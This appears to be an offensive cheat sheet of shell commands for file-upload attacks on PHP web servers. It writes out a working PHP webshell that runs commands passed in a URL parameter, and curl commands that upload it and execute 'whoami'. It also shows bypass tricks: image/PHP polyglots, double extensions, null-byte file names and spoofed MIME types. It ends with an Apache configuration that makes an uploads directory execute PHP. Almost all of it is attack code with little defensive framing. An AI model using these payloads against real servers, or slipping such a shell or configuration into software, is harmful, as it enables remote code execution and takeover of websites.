# Create webshell disguised as image
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg
# Upload it
curl -F "upload=@shell.jpg" http://example.com/upload
# If web server misconfigured to execute .jpg as PHP:
curl http://example.com/uploads/shell.jpg?cmd=whoami
# RCE!
# Create image with PHP embedded
cp real_image.jpg shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
# Upload as JPG
# If server processes as both image and PHP, code executes
shell.php.jpg
# If server processes left-to-right: executes as PHP
# If only extension checked: passes as JPG
# Create polyglot file (valid image + valid PHP)
# When processed as image: displays correctly
# When processed as PHP: executes code
# Or use null byte injection (older systems)
shell.php%00.jpg
# Gets interpreted as shell.php, ignoring .jpg
# Attacker sends malicious file with fake MIME type
curl -F "upload=@shell.php;type=image/jpeg" http://example.com/upload
# Server checks Content-Type header: image/jpeg ✓
# But actual file is PHP code
# Server executes as PHP
# Create webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Upload with spoofed MIME type
curl -F "upload=@shell.php;type=image/jpeg" http://example.com/upload
# Server accepts it as JPEG
# But executes as PHP
# RCE achieved!
# Web server configuration
DocumentRoot /var/www/html
<Directory /var/www/uploads>
AddType application/x-httpd-php .php
AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .php3
</Directory>